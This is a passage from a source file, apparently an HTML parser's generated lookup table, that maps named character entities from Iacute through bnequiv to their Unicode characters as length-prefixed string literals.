			// Iacute;[Í] Iacute[Í].
			"\x05cute;\x02Í\x04cute\x02Í",
			// Icirc;[Î] Icirc[Î] Icy;[И].
			"\x04irc;\x02Î\x03irc\x02Î\x02y;\x02И",
			// Idot;[İ].
			"\x03ot;\x02İ",
			// Ifr;[ℑ].
			"\x02r;\x03ℑ",
			// Igrave;[Ì] Igrave[Ì].
			"\x05rave;\x02Ì\x04rave\x02Ì",
			// ImaginaryI;[ⅈ] Implies;[⇒] Imacr;[Ī] Im;[ℑ].
			"\x09aginaryI;\x03ⅈ\x06plies;\x03⇒\x04acr;\x02Ī\x01;\x03ℑ",
			// InvisibleComma;[⁣] InvisibleTimes;[⁢] Intersection;[⋂] Integral;[∫] Int;[∬].
			"\x0dvisibleComma;\x03⁣\x0dvisibleTimes;\x03⁢\x0btersection;\x03⋂\x07tegral;\x03∫\x02t;\x03∬",
			// Iogon;[Į] Iopf;[𝕀] Iota;[Ι].
			"\x04gon;\x02Į\x03pf;\x04𝕀\x03ta;\x02Ι",
			// Iscr;[ℐ].
			"\x03cr;\x03ℐ",
			// Itilde;[Ĩ].
			"\x05ilde;\x02Ĩ",
			// Iukcy;[І] Iuml;[Ï] Iuml[Ï].
			"\x04kcy;\x02І\x03ml;\x02Ï\x02ml\x02Ï",
			// Jcirc;[Ĵ] Jcy;[Й].
			"\x04irc;\x02Ĵ\x02y;\x02Й",
			// Jfr;[𝔍].
			"\x02r;\x04𝔍",
			// Jopf;[𝕁].
			"\x03pf;\x04𝕁",
			// Jsercy;[Ј] Jscr;[𝒥].
			"\x05ercy;\x02Ј\x03cr;\x04𝒥",
			// Jukcy;[Є].
			"\x04kcy;\x02Є",
			// KHcy;[Х].
			"\x03cy;\x02Х",
			// KJcy;[Ќ].
			"\x03cy;\x02Ќ",
			// Kappa;[Κ].
			"\x04ppa;\x02Κ",
			// Kcedil;[Ķ] Kcy;[К].
			"\x05edil;\x02Ķ\x02y;\x02К",
			// Kfr;[𝔎].
			"\x02r;\x04𝔎",
			// Kopf;[𝕂].
			"\x03pf;\x04𝕂",
			// Kscr;[𝒦].
			"\x03cr;\x04𝒦",
			// LJcy;[Љ].
			"\x03cy;\x02Љ",
			// LT;[<].
			"\x01;\x01<",
			// Laplacetrf;[ℒ] Lacute;[Ĺ] Lambda;[Λ] Lang;[⟪] Larr;[↞].
			"\x09placetrf;\x03ℒ\x05cute;\x02Ĺ\x05mbda;\x02Λ\x03ng;\x03⟪\x03rr;\x03↞",
			// Lcaron;[Ľ] Lcedil;[Ļ] Lcy;[Л].
			"\x05aron;\x02Ľ\x05edil;\x02Ļ\x02y;\x02Л",
			// LeftArrowRightArrow;[⇆] LeftDoubleBracket;[⟦] LeftDownTeeVector;[⥡] LeftDownVectorBar;[⥙] LeftTriangleEqual;[⊴] LeftAngleBracket;[⟨] LeftUpDownVector;[⥑] LessEqualGreater;[⋚] LeftRightVector;[⥎] LeftTriangleBar;[⧏] LeftUpTeeVector;[⥠] LeftUpVectorBar;[⥘] LeftDownVector;[⇃] LeftRightArrow;[↔] Leftrightarrow;[⇔] LessSlantEqual;[⩽] LeftTeeVector;[⥚] LeftVectorBar;[⥒] LessFullEqual;[≦] LeftArrowBar;[⇤] LeftTeeArrow;[↤] LeftTriangle;[⊲] LeftUpVector;[↿] LeftCeiling;[⌈] LessGreater;[≶] LeftVector;[↼] LeftArrow;[←] LeftFloor;[⌊] Leftarrow;[⇐] LessTilde;[≲] LessLess;[⪡] LeftTee;[⊣].
			"\x12ftArrowRightArrow;\x03⇆\x10ftDoubleBracket;\x03⟦\x10ftDownTeeVector;\x03⥡\x10ftDownVectorBar;\x03⥙\x10ftTriangleEqual;\x03⊴\x0fftAngleBracket;\x03⟨\x0fftUpDownVector;\x03⥑\x0fssEqualGreater;\x03⋚\x0eftRightVector;\x03⥎\x0eftTriangleBar;\x03⧏\x0eftUpTeeVector;\x03⥠\x0eftUpVectorBar;\x03⥘\x0dftDownVector;\x03⇃\x0dftRightArrow;\x03↔\x0dftrightarrow;\x03⇔\x0dssSlantEqual;\x03⩽\x0cftTeeVector;\x03⥚\x0cftVectorBar;\x03⥒\x0cssFullEqual;\x03≦\x0bftArrowBar;\x03⇤\x0bftTeeArrow;\x03↤\x0bftTriangle;\x03⊲\x0bftUpVector;\x03↿\x0aftCeiling;\x03⌈\x0assGreater;\x03≶\x09ftVector;\x03↼\x08ftArrow;\x03←\x08ftFloor;\x03⌊\x08ftarrow;\x03⇐\x08ssTilde;\x03≲\x07ssLess;\x03⪡\x06ftTee;\x03⊣",
			// Lfr;[𝔏].
			"\x02r;\x04𝔏",
			// Lleftarrow;[⇚] Ll;[⋘].
			"\x09eftarrow;\x03⇚\x01;\x03⋘",
			// Lmidot;[Ŀ].
			"\x05idot;\x02Ŀ",
			// LongLeftRightArrow;[⟷] Longleftrightarrow;[⟺] LowerRightArrow;[↘] LongRightArrow;[⟶] Longrightarrow;[⟹] LowerLeftArrow;[↙] LongLeftArrow;[⟵] Longleftarrow;[⟸] Lopf;[𝕃].
			"\x11ngLeftRightArrow;\x03⟷\x11ngleftrightarrow;\x03⟺\x0ewerRightArrow;\x03↘\x0dngRightArrow;\x03⟶\x0dngrightarrow;\x03⟹\x0dwerLeftArrow;\x03↙\x0cngLeftArrow;\x03⟵\x0cngleftarrow;\x03⟸\x03pf;\x04𝕃",
			// Lstrok;[Ł] Lscr;[ℒ] Lsh;[↰].
			"\x05trok;\x02Ł\x03cr;\x03ℒ\x02h;\x03↰",
			// Lt;[≪].
			"\x01;\x03≪",
			// Map;[⤅].
			"\x02p;\x03⤅",
			// Mcy;[М].
			"\x02y;\x02М",
			// MediumSpace;[ ] Mellintrf;[ℳ].
			"\x0adiumSpace;\x03 \x08llintrf;\x03ℳ",
			// Mfr;[𝔐].
			"\x02r;\x04𝔐",
			// MinusPlus;[∓].
			"\x08nusPlus;\x03∓",
			// Mopf;[𝕄].
			"\x03pf;\x04𝕄",
			// Mscr;[ℳ].
			"\x03cr;\x03ℳ",
			// Mu;[Μ].
			"\x01;\x02Μ",
			// NJcy;[Њ].
			"\x03cy;\x02Њ",
			// Nacute;[Ń].
			"\x05cute;\x02Ń",
			// Ncaron;[Ň] Ncedil;[Ņ] Ncy;[Н].
			"\x05aron;\x02Ň\x05edil;\x02Ņ\x02y;\x02Н",
			// NegativeVeryThinSpace;[​] NestedGreaterGreater;[≫] NegativeMediumSpace;[​] NegativeThickSpace;[​] NegativeThinSpace;[​] NestedLessLess;[≪] NewLine;[\xa].
			"\x14gativeVeryThinSpace;\x03​\x13stedGreaterGreater;\x03≫\x12gativeMediumSpace;\x03​\x11gativeThickSpace;\x03​\x10gativeThinSpace;\x03​\x0dstedLessLess;\x03≪\x06wLine;\x01\xa",
			// Nfr;[𝔑].
			"\x02r;\x04𝔑",
			// NotNestedGreaterGreater;[⪢̸] NotSquareSupersetEqual;[⋣] NotPrecedesSlantEqual;[⋠] NotRightTriangleEqual;[⋭] NotSucceedsSlantEqual;[⋡] NotDoubleVerticalBar;[∦] NotGreaterSlantEqual;[⩾̸] NotLeftTriangleEqual;[⋬] NotSquareSubsetEqual;[⋢] NotGreaterFullEqual;[≧̸] NotRightTriangleBar;[⧐̸] NotLeftTriangleBar;[⧏̸] NotGreaterGreater;[≫̸] NotLessSlantEqual;[⩽̸] NotNestedLessLess;[⪡̸] NotReverseElement;[∌] NotSquareSuperset;[⊐̸] NotTildeFullEqual;[≇] NonBreakingSpace;[ ] NotPrecedesEqual;[⪯̸] NotRightTriangle;[⋫] NotSucceedsEqual;[⪰̸] NotSucceedsTilde;[≿̸] NotSupersetEqual;[⊉] NotGreaterEqual;[≱] NotGreaterTilde;[≵] NotHumpDownHump;[≎̸] NotLeftTriangle;[⋪] NotSquareSubset;[⊏̸] NotGreaterLess;[≹] NotLessGreater;[≸] NotSubsetEqual;[⊈] NotVerticalBar;[∤] NotEqualTilde;[≂̸] NotTildeEqual;[≄] NotTildeTilde;[≉] NotCongruent;[≢] NotHumpEqual;[≏̸] NotLessEqual;[≰] NotLessTilde;[≴] NotLessLess;[≪̸] NotPrecedes;[⊀] NotSucceeds;[⊁] NotSuperset;[⊃⃒] NotElement;[∉] NotGreater;[≯] NotCupCap;[≭] NotExists;[∄] NotSubset;[⊂⃒] NotEqual;[≠] NotTilde;[≁] NoBreak;[⁠] NotLess;[≮] Nopf;[ℕ] Not;[⫬].
			"\x16tNestedGreaterGreater;\x05⪢̸\x15tSquareSupersetEqual;\x03⋣\x14tPrecedesSlantEqual;\x03⋠\x14tRightTriangleEqual;\x03⋭\x14tSucceedsSlantEqual;\x03⋡\x13tDoubleVerticalBar;\x03∦\x13tGreaterSlantEqual;\x05⩾̸\x13tLeftTriangleEqual;\x03⋬\x13tSquareSubsetEqual;\x03⋢\x12tGreaterFullEqual;\x05≧̸\x12tRightTriangleBar;\x05⧐̸\x11tLeftTriangleBar;\x05⧏̸\x10tGreaterGreater;\x05≫̸\x10tLessSlantEqual;\x05⩽̸\x10tNestedLessLess;\x05⪡̸\x10tReverseElement;\x03∌\x10tSquareSuperset;\x05⊐̸\x10tTildeFullEqual;\x03≇\x0fnBreakingSpace;\x02 \x0ftPrecedesEqual;\x05⪯̸\x0ftRightTriangle;\x03⋫\x0ftSucceedsEqual;\x05⪰̸\x0ftSucceedsTilde;\x05≿̸\x0ftSupersetEqual;\x03⊉\x0etGreaterEqual;\x03≱\x0etGreaterTilde;\x03≵\x0etHumpDownHump;\x05≎̸\x0etLeftTriangle;\x03⋪\x0etSquareSubset;\x05⊏̸\x0dtGreaterLess;\x03≹\x0dtLessGreater;\x03≸\x0dtSubsetEqual;\x03⊈\x0dtVerticalBar;\x03∤\x0ctEqualTilde;\x05≂̸\x0ctTildeEqual;\x03≄\x0ctTildeTilde;\x03≉\x0btCongruent;\x03≢\x0btHumpEqual;\x05≏̸\x0btLessEqual;\x03≰\x0btLessTilde;\x03≴\x0atLessLess;\x05≪̸\x0atPrecedes;\x03⊀\x0atSucceeds;\x03⊁\x0atSuperset;\x06⊃⃒\x09tElement;\x03∉\x09tGreater;\x03≯\x08tCupCap;\x03≭\x08tExists;\x03∄\x08tSubset;\x06⊂⃒\x07tEqual;\x03≠\x07tTilde;\x03≁\x06Break;\x03⁠\x06tLess;\x03≮\x03pf;\x03ℕ\x02t;\x03⫬",
			// Nscr;[𝒩].
			"\x03cr;\x04𝒩",
			// Ntilde;[Ñ] Ntilde[Ñ].
			"\x05ilde;\x02Ñ\x04ilde\x02Ñ",
			// Nu;[Ν].
			"\x01;\x02Ν",
			// OElig;[Œ].
			"\x04lig;\x02Œ",
			// Oacute;[Ó] Oacute[Ó].
			"\x05cute;\x02Ó\x04cute\x02Ó",
			// Ocirc;[Ô] Ocirc[Ô] Ocy;[О].
			"\x04irc;\x02Ô\x03irc\x02Ô\x02y;\x02О",
			// Odblac;[Ő].
			"\x05blac;\x02Ő",
			// Ofr;[𝔒].
			"\x02r;\x04𝔒",
			// Ograve;[Ò] Ograve[Ò].
			"\x05rave;\x02Ò\x04rave\x02Ò",
			// Omicron;[Ο] Omacr;[Ō] Omega;[Ω].
			"\x06icron;\x02Ο\x04acr;\x02Ō\x04ega;\x02Ω",
			// Oopf;[𝕆].
			"\x03pf;\x04𝕆",
			// OpenCurlyDoubleQuote;[“] OpenCurlyQuote;[‘].
			"\x13enCurlyDoubleQuote;\x03“\x0denCurlyQuote;\x03‘",
			// Or;[⩔].
			"\x01;\x03⩔",
			// Oslash;[Ø] Oslash[Ø] Oscr;[𝒪].
			"\x05lash;\x02Ø\x04lash\x02Ø\x03cr;\x04𝒪",
			// Otilde;[Õ] Otimes;[⨷] Otilde[Õ].
			"\x05ilde;\x02Õ\x05imes;\x03⨷\x04ilde\x02Õ",
			// Ouml;[Ö] Ouml[Ö].
			"\x03ml;\x02Ö\x02ml\x02Ö",
			// OverParenthesis;[⏜] OverBracket;[⎴] OverBrace;[⏞] OverBar;[‾].
			"\x0eerParenthesis;\x03⏜\x0aerBracket;\x03⎴\x08erBrace;\x03⏞\x06erBar;\x03‾",
			// PartialD;[∂].
			"\x07rtialD;\x03∂",
			// Pcy;[П].
			"\x02y;\x02П",
			// Pfr;[𝔓].
			"\x02r;\x04𝔓",
			// Phi;[Φ].
			"\x02i;\x02Φ",
			// Pi;[Π].
			"\x01;\x02Π",
			// PlusMinus;[±].
			"\x08usMinus;\x02±",
			// Poincareplane;[ℌ] Popf;[ℙ].
			"\x0cincareplane;\x03ℌ\x03pf;\x03ℙ",
			// PrecedesSlantEqual;[≼] PrecedesEqual;[⪯] PrecedesTilde;[≾] Proportional;[∝] Proportion;[∷] Precedes;[≺] Product;[∏] Prime;[″] Pr;[⪻].
			"\x11ecedesSlantEqual;\x03≼\x0cecedesEqual;\x03⪯\x0cecedesTilde;\x03≾\x0boportional;\x03∝\x09oportion;\x03∷\x07ecedes;\x03≺\x06oduct;\x03∏\x04ime;\x03″\x01;\x03⪻",
			// Pscr;[𝒫] Psi;[Ψ].
			"\x03cr;\x04𝒫\x02i;\x02Ψ",
			// QUOT;[\"] QUOT[\"].
			"\x03OT;\x01\"\x02OT\x01\"",
			// Qfr;[𝔔].
			"\x02r;\x04𝔔",
			// Qopf;[ℚ].
			"\x03pf;\x03ℚ",
			// Qscr;[𝒬].
			"\x03cr;\x04𝒬",
			// RBarr;[⤐].
			"\x04arr;\x03⤐",
			// REG;[®] REG[®].
			"\x02G;\x02®\x01G\x02®",
			// Racute;[Ŕ] Rarrtl;[⤖] Rang;[⟫] Rarr;[↠].
			"\x05cute;\x02Ŕ\x05rrtl;\x03⤖\x03ng;\x03⟫\x03rr;\x03↠",
			// Rcaron;[Ř] Rcedil;[Ŗ] Rcy;[Р].
			"\x05aron;\x02Ř\x05edil;\x02Ŗ\x02y;\x02Р",
			// ReverseUpEquilibrium;[⥯] ReverseEquilibrium;[⇋] ReverseElement;[∋] Re;[ℜ].
			"\x13verseUpEquilibrium;\x03⥯\x11verseEquilibrium;\x03⇋\x0dverseElement;\x03∋\x01;\x03ℜ",
			// Rfr;[ℜ].
			"\x02r;\x03ℜ",
			// Rho;[Ρ].
			"\x02o;\x02Ρ",
			// RightArrowLeftArrow;[⇄] RightDoubleBracket;[⟧] RightDownTeeVector;[⥝] RightDownVectorBar;[⥕] RightTriangleEqual;[⊵] RightAngleBracket;[⟩] RightUpDownVector;[⥏] RightTriangleBar;[⧐] RightUpTeeVector;[⥜] RightUpVectorBar;[⥔] RightDownVector;[⇂] RightTeeVector;[⥛] RightVectorBar;[⥓] RightArrowBar;[⇥] RightTeeArrow;[↦] RightTriangle;[⊳] RightUpVector;[↾] RightCeiling;[⌉] RightVector;[⇀] RightArrow;[→] RightFloor;[⌋] Rightarrow;[⇒] RightTee;[⊢].
			"\x12ghtArrowLeftArrow;\x03⇄\x11ghtDoubleBracket;\x03⟧\x11ghtDownTeeVector;\x03⥝\x11ghtDownVectorBar;\x03⥕\x11ghtTriangleEqual;\x03⊵\x10ghtAngleBracket;\x03⟩\x10ghtUpDownVector;\x03⥏\x0fghtTriangleBar;\x03⧐\x0fghtUpTeeVector;\x03⥜\x0fghtUpVectorBar;\x03⥔\x0eghtDownVector;\x03⇂\x0dghtTeeVector;\x03⥛\x0dghtVectorBar;\x03⥓\x0cghtArrowBar;\x03⇥\x0cghtTeeArrow;\x03↦\x0cghtTriangle;\x03⊳\x0cghtUpVector;\x03↾\x0bghtCeiling;\x03⌉\x0aghtVector;\x03⇀\x09ghtArrow;\x03→\x09ghtFloor;\x03⌋\x09ghtarrow;\x03⇒\x07ghtTee;\x03⊢",
			// RoundImplies;[⥰] Ropf;[ℝ].
			"\x0bundImplies;\x03⥰\x03pf;\x03ℝ",
			// Rrightarrow;[⇛].
			"\x0aightarrow;\x03⇛",
			// Rscr;[ℛ] Rsh;[↱].
			"\x03cr;\x03ℛ\x02h;\x03↱",
			// RuleDelayed;[⧴].
			"\x0aleDelayed;\x03⧴",
			// SHCHcy;[Щ] SHcy;[Ш].
			"\x05CHcy;\x02Щ\x03cy;\x02Ш",
			// SOFTcy;[Ь].
			"\x05FTcy;\x02Ь",
			// Sacute;[Ś].
			"\x05cute;\x02Ś",
			// Scaron;[Š] Scedil;[Ş] Scirc;[Ŝ] Scy;[С] Sc;[⪼].
			"\x05aron;\x02Š\x05edil;\x02Ş\x04irc;\x02Ŝ\x02y;\x02С\x01;\x03⪼",
			// Sfr;[𝔖].
			"\x02r;\x04𝔖",
			// ShortRightArrow;[→] ShortDownArrow;[↓] ShortLeftArrow;[←] ShortUpArrow;[↑].
			"\x0eortRightArrow;\x03→\x0dortDownArrow;\x03↓\x0dortLeftArrow;\x03←\x0bortUpArrow;\x03↑",
			// Sigma;[Σ].
			"\x04gma;\x02Σ",
			// SmallCircle;[∘].
			"\x0aallCircle;\x03∘",
			// Sopf;[𝕊].
			"\x03pf;\x04𝕊",
			// SquareSupersetEqual;[⊒] SquareIntersection;[⊓] SquareSubsetEqual;[⊑] SquareSuperset;[⊐] SquareSubset;[⊏] SquareUnion;[⊔] Square;[□] Sqrt;[√].
			"\x12uareSupersetEqual;\x03⊒\x11uareIntersection;\x03⊓\x10uareSubsetEqual;\x03⊑\x0duareSuperset;\x03⊐\x0buareSubset;\x03⊏\x0auareUnion;\x03⊔\x05uare;\x03□\x03rt;\x03√",
			// Sscr;[𝒮].
			"\x03cr;\x04𝒮",
			// Star;[⋆].
			"\x03ar;\x03⋆",
			// SucceedsSlantEqual;[≽] SucceedsEqual;[⪰] SucceedsTilde;[≿] SupersetEqual;[⊇] SubsetEqual;[⊆] Succeeds;[≻] SuchThat;[∋] Superset;[⊃] Subset;[⋐] Supset;[⋑] Sub;[⋐] Sum;[∑] Sup;[⋑].
			"\x11cceedsSlantEqual;\x03≽\x0ccceedsEqual;\x03⪰\x0ccceedsTilde;\x03≿\x0cpersetEqual;\x03⊇\x0absetEqual;\x03⊆\x07cceeds;\x03≻\x07chThat;\x03∋\x07perset;\x03⊃\x05bset;\x03⋐\x05pset;\x03⋑\x02b;\x03⋐\x02m;\x03∑\x02p;\x03⋑",
			// THORN;[Þ] THORN[Þ].
			"\x04ORN;\x02Þ\x03ORN\x02Þ",
			// TRADE;[™].
			"\x04ADE;\x03™",
			// TSHcy;[Ћ] TScy;[Ц].
			"\x04Hcy;\x02Ћ\x03cy;\x02Ц",
			// Tab;[\x9] Tau;[Τ].
			"\x02b;\x01\x9\x02u;\x02Τ",
			// Tcaron;[Ť] Tcedil;[Ţ] Tcy;[Т].
			"\x05aron;\x02Ť\x05edil;\x02Ţ\x02y;\x02Т",
			// Tfr;[𝔗].
			"\x02r;\x04𝔗",
			// ThickSpace;[  ] Therefore;[∴] ThinSpace;[ ] Theta;[Θ].
			"\x09ickSpace;\x06  \x08erefore;\x03∴\x08inSpace;\x03 \x04eta;\x02Θ",
			// TildeFullEqual;[≅] TildeEqual;[≃] TildeTilde;[≈] Tilde;[∼].
			"\x0dldeFullEqual;\x03≅\x09ldeEqual;\x03≃\x09ldeTilde;\x03≈\x04lde;\x03∼",
			// Topf;[𝕋].
			"\x03pf;\x04𝕋",
			// TripleDot;[⃛].
			"\x08ipleDot;\x03⃛",
			// Tstrok;[Ŧ] Tscr;[𝒯].
			"\x05trok;\x02Ŧ\x03cr;\x04𝒯",
			// Uarrocir;[⥉] Uacute;[Ú] Uacute[Ú] Uarr;[↟].
			"\x07rrocir;\x03⥉\x05cute;\x02Ú\x04cute\x02Ú\x03rr;\x03↟",
			// Ubreve;[Ŭ] Ubrcy;[Ў].
			"\x05reve;\x02Ŭ\x04rcy;\x02Ў",
			// Ucirc;[Û] Ucirc[Û] Ucy;[У].
			"\x04irc;\x02Û\x03irc\x02Û\x02y;\x02У",
			// Udblac;[Ű].
			"\x05blac;\x02Ű",
			// Ufr;[𝔘].
			"\x02r;\x04𝔘",
			// Ugrave;[Ù] Ugrave[Ù].
			"\x05rave;\x02Ù\x04rave\x02Ù",
			// Umacr;[Ū].
			"\x04acr;\x02Ū",
			// UnderParenthesis;[⏝] UnderBracket;[⎵] UnderBrace;[⏟] UnionPlus;[⊎] UnderBar;[_] Union;[⋃].
			"\x0fderParenthesis;\x03⏝\x0bderBracket;\x03⎵\x09derBrace;\x03⏟\x08ionPlus;\x03⊎\x07derBar;\x01_\x04ion;\x03⋃",
			// Uogon;[Ų] Uopf;[𝕌].
			"\x04gon;\x02Ų\x03pf;\x04𝕌",
			// UpArrowDownArrow;[⇅] UpperRightArrow;[↗] UpperLeftArrow;[↖] UpEquilibrium;[⥮] UpDownArrow;[↕] Updownarrow;[⇕] UpArrowBar;[⤒] UpTeeArrow;[↥] UpArrow;[↑] Uparrow;[⇑] Upsilon;[Υ] UpTee;[⊥] Upsi;[ϒ].
			"\x0fArrowDownArrow;\x03⇅\x0eperRightArrow;\x03↗\x0dperLeftArrow;\x03↖\x0cEquilibrium;\x03⥮\x0aDownArrow;\x03↕\x0adownarrow;\x03⇕\x09ArrowBar;\x03⤒\x09TeeArrow;\x03↥\x06Arrow;\x03↑\x06arrow;\x03⇑\x06silon;\x02Υ\x04Tee;\x03⊥\x03si;\x02ϒ",
			// Uring;[Ů].
			"\x04ing;\x02Ů",
			// Uscr;[𝒰].
			"\x03cr;\x04𝒰",
			// Utilde;[Ũ].
			"\x05ilde;\x02Ũ",
			// Uuml;[Ü] Uuml[Ü].
			"\x03ml;\x02Ü\x02ml\x02Ü",
			// VDash;[⊫].
			"\x04ash;\x03⊫",
			// Vbar;[⫫].
			"\x03ar;\x03⫫",
			// Vcy;[В].
			"\x02y;\x02В",
			// Vdashl;[⫦] Vdash;[⊩].
			"\x05ashl;\x03⫦\x04ash;\x03⊩",
			// VerticalSeparator;[❘] VerticalTilde;[≀] VeryThinSpace;[ ] VerticalLine;[|] VerticalBar;[∣] Verbar;[‖] Vert;[‖] Vee;[⋁].
			"\x10rticalSeparator;\x03❘\x0crticalTilde;\x03≀\x0cryThinSpace;\x03 \x0brticalLine;\x01|\x0articalBar;\x03∣\x05rbar;\x03‖\x03rt;\x03‖\x02e;\x03⋁",
			// Vfr;[𝔙].
			"\x02r;\x04𝔙",
			// Vopf;[𝕍].
			"\x03pf;\x04𝕍",
			// Vscr;[𝒱].
			"\x03cr;\x04𝒱",
			// Vvdash;[⊪].
			"\x05dash;\x03⊪",
			// Wcirc;[Ŵ].
			"\x04irc;\x02Ŵ",
			// Wedge;[⋀].
			"\x04dge;\x03⋀",
			// Wfr;[𝔚].
			"\x02r;\x04𝔚",
			// Wopf;[𝕎].
			"\x03pf;\x04𝕎",
			// Wscr;[𝒲].
			"\x03cr;\x04𝒲",
			// Xfr;[𝔛].
			"\x02r;\x04𝔛",
			// Xi;[Ξ].
			"\x01;\x02Ξ",
			// Xopf;[𝕏].
			"\x03pf;\x04𝕏",
			// Xscr;[𝒳].
			"\x03cr;\x04𝒳",
			// YAcy;[Я].
			"\x03cy;\x02Я",
			// YIcy;[Ї].
			"\x03cy;\x02Ї",
			// YUcy;[Ю].
			"\x03cy;\x02Ю",
			// Yacute;[Ý] Yacute[Ý].
			"\x05cute;\x02Ý\x04cute\x02Ý",
			// Ycirc;[Ŷ] Ycy;[Ы].
			"\x04irc;\x02Ŷ\x02y;\x02Ы",
			// Yfr;[𝔜].
			"\x02r;\x04𝔜",
			// Yopf;[𝕐].
			"\x03pf;\x04𝕐",
			// Yscr;[𝒴].
			"\x03cr;\x04𝒴",
			// Yuml;[Ÿ].
			"\x03ml;\x02Ÿ",
			// ZHcy;[Ж].
			"\x03cy;\x02Ж",
			// Zacute;[Ź].
			"\x05cute;\x02Ź",
			// Zcaron;[Ž] Zcy;[З].
			"\x05aron;\x02Ž\x02y;\x02З",
			// Zdot;[Ż].
			"\x03ot;\x02Ż",
			// ZeroWidthSpace;[​] Zeta;[Ζ].
			"\x0droWidthSpace;\x03​\x03ta;\x02Ζ",
			// Zfr;[ℨ].
			"\x02r;\x03ℨ",
			// Zopf;[ℤ].
			"\x03pf;\x03ℤ",
			// Zscr;[𝒵].
			"\x03cr;\x04𝒵",
			// aacute;[á] aacute[á].
			"\x05cute;\x02á\x04cute\x02á",
			// abreve;[ă].
			"\x05reve;\x02ă",
			// acirc;[â] acute;[´] acirc[â] acute[´] acE;[∾̳] acd;[∿] acy;[а] ac;[∾].
			"\x04irc;\x02â\x04ute;\x02´\x03irc\x02â\x03ute\x02´\x02E;\x05∾̳\x02d;\x03∿\x02y;\x02а\x01;\x03∾",
			// aelig;[æ] aelig[æ].
			"\x04lig;\x02æ\x03lig\x02æ",
			// afr;[𝔞] af;[⁡].
			"\x02r;\x04𝔞\x01;\x03⁡",
			// agrave;[à] agrave[à].
			"\x05rave;\x02à\x04rave\x02à",
			// alefsym;[ℵ] aleph;[ℵ] alpha;[α].
			"\x06efsym;\x03ℵ\x04eph;\x03ℵ\x04pha;\x02α",
			// amacr;[ā] amalg;[⨿] amp;[&] amp[&].
			"\x04acr;\x02ā\x04alg;\x03⨿\x02p;\x01&\x01p\x01&",
			// andslope;[⩘] angmsdaa;[⦨] angmsdab;[⦩] angmsdac;[⦪] angmsdad;[⦫] angmsdae;[⦬] angmsdaf;[⦭] angmsdag;[⦮] angmsdah;[⦯] angrtvbd;[⦝] angrtvb;[⊾] angzarr;[⍼] andand;[⩕] angmsd;[∡] angsph;[∢] angle;[∠] angrt;[∟] angst;[Å] andd;[⩜] andv;[⩚] ange;[⦤] and;[∧] ang;[∠].
			"\x07dslope;\x03⩘\x07gmsdaa;\x03⦨\x07gmsdab;\x03⦩\x07gmsdac;\x03⦪\x07gmsdad;\x03⦫\x07gmsdae;\x03⦬\x07gmsdaf;\x03⦭\x07gmsdag;\x03⦮\x07gmsdah;\x03⦯\x07grtvbd;\x03⦝\x06grtvb;\x03⊾\x06gzarr;\x03⍼\x05dand;\x03⩕\x05gmsd;\x03∡\x05gsph;\x03∢\x04gle;\x03∠\x04grt;\x03∟\x04gst;\x02Å\x03dd;\x03⩜\x03dv;\x03⩚\x03ge;\x03⦤\x02d;\x03∧\x02g;\x03∠",
			// aogon;[ą] aopf;[𝕒].
			"\x04gon;\x02ą\x03pf;\x04𝕒",
			// approxeq;[≊] apacir;[⩯] approx;[≈] apid;[≋] apos;['] apE;[⩰] ape;[≊] ap;[≈].
			"\x07proxeq;\x03≊\x05acir;\x03⩯\x05prox;\x03≈\x03id;\x03≋\x03os;\x01'\x02E;\x03⩰\x02e;\x03≊\x01;\x03≈",
			// aring;[å] aring[å].
			"\x04ing;\x02å\x03ing\x02å",
			// asympeq;[≍] asymp;[≈] ascr;[𝒶] ast;[*].
			"\x06ympeq;\x03≍\x04ymp;\x03≈\x03cr;\x04𝒶\x02t;\x01*",
			// atilde;[ã] atilde[ã].
			"\x05ilde;\x02ã\x04ilde\x02ã",
			// auml;[ä] auml[ä].
			"\x03ml;\x02ä\x02ml\x02ä",
			// awconint;[∳] awint;[⨑].
			"\x07conint;\x03∳\x04int;\x03⨑",
			// bNot;[⫭].
			"\x03ot;\x03⫭",
			// backepsilon;[϶] backprime;[‵] backsimeq;[⋍] backcong;[≌] barwedge;[⌅] backsim;[∽] barvee;[⊽] barwed;[⌅].
			"\x0ackepsilon;\x02϶\x08ckprime;\x03‵\x08cksimeq;\x03⋍\x07ckcong;\x03≌\x07rwedge;\x03⌅\x06cksim;\x03∽\x05rvee;\x03⊽\x05rwed;\x03⌅",
			// bbrktbrk;[⎶] bbrk;[⎵].
			"\x07rktbrk;\x03⎶\x03rk;\x03⎵",
			// bcong;[≌] bcy;[б].
			"\x04ong;\x03≌\x02y;\x02б",
			// bdquo;[„].
			"\x04quo;\x03„",
			// because;[∵] bemptyv;[⦰] between;[≬] becaus;[∵] bernou;[ℬ] bepsi;[϶] beta;[β] beth;[ℶ].
			"\x06cause;\x03∵\x06mptyv;\x03⦰\x06tween;\x03≬\x05caus;\x03∵\x05rnou;\x03ℬ\x04psi;\x02϶\x03ta;\x02β\x03th;\x03ℶ",
			// bfr;[𝔟].
			"\x02r;\x04𝔟",
			// bigtriangledown;[▽] bigtriangleup;[△] bigotimes;[⨂] bigoplus;[⨁] bigsqcup;[⨆] biguplus;[⨄] bigwedge;[⋀] bigcirc;[◯] bigodot;[⨀] bigstar;[★] bigcap;[⋂] bigcup;[⋃] bigvee;[⋁].
			"\x0egtriangledown;\x03▽\x0cgtriangleup;\x03△\x08gotimes;\x03⨂\x07goplus;\x03⨁\x07gsqcup;\x03⨆\x07guplus;\x03⨄\x07gwedge;\x03⋀\x06gcirc;\x03◯\x06godot;\x03⨀\x06gstar;\x03★\x05gcap;\x03⋂\x05gcup;\x03⋃\x05gvee;\x03⋁",
			// bkarow;[⤍].
			"\x05arow;\x03⤍",
			// blacktriangleright;[▸] blacktriangledown;[▾] blacktriangleleft;[◂] blacktriangle;[▴] blacklozenge;[⧫] blacksquare;[▪] blank;[␣] blk12;[▒] blk14;[░] blk34;[▓] block;[█].
			"\x11acktriangleright;\x03▸\x10acktriangledown;\x03▾\x10acktriangleleft;\x03◂\x0cacktriangle;\x03▴\x0backlozenge;\x03⧫\x0aacksquare;\x03▪\x04ank;\x03␣\x04k12;\x03▒\x04k14;\x03░\x04k34;\x03▓\x04ock;\x03█",
			// bnequiv;[≡⃥] bnot;[⌐] bne;[=⃥].
			"\x06equiv;\x06≡⃥\x03ot;\x03⌐\x02e;\x04=⃥",
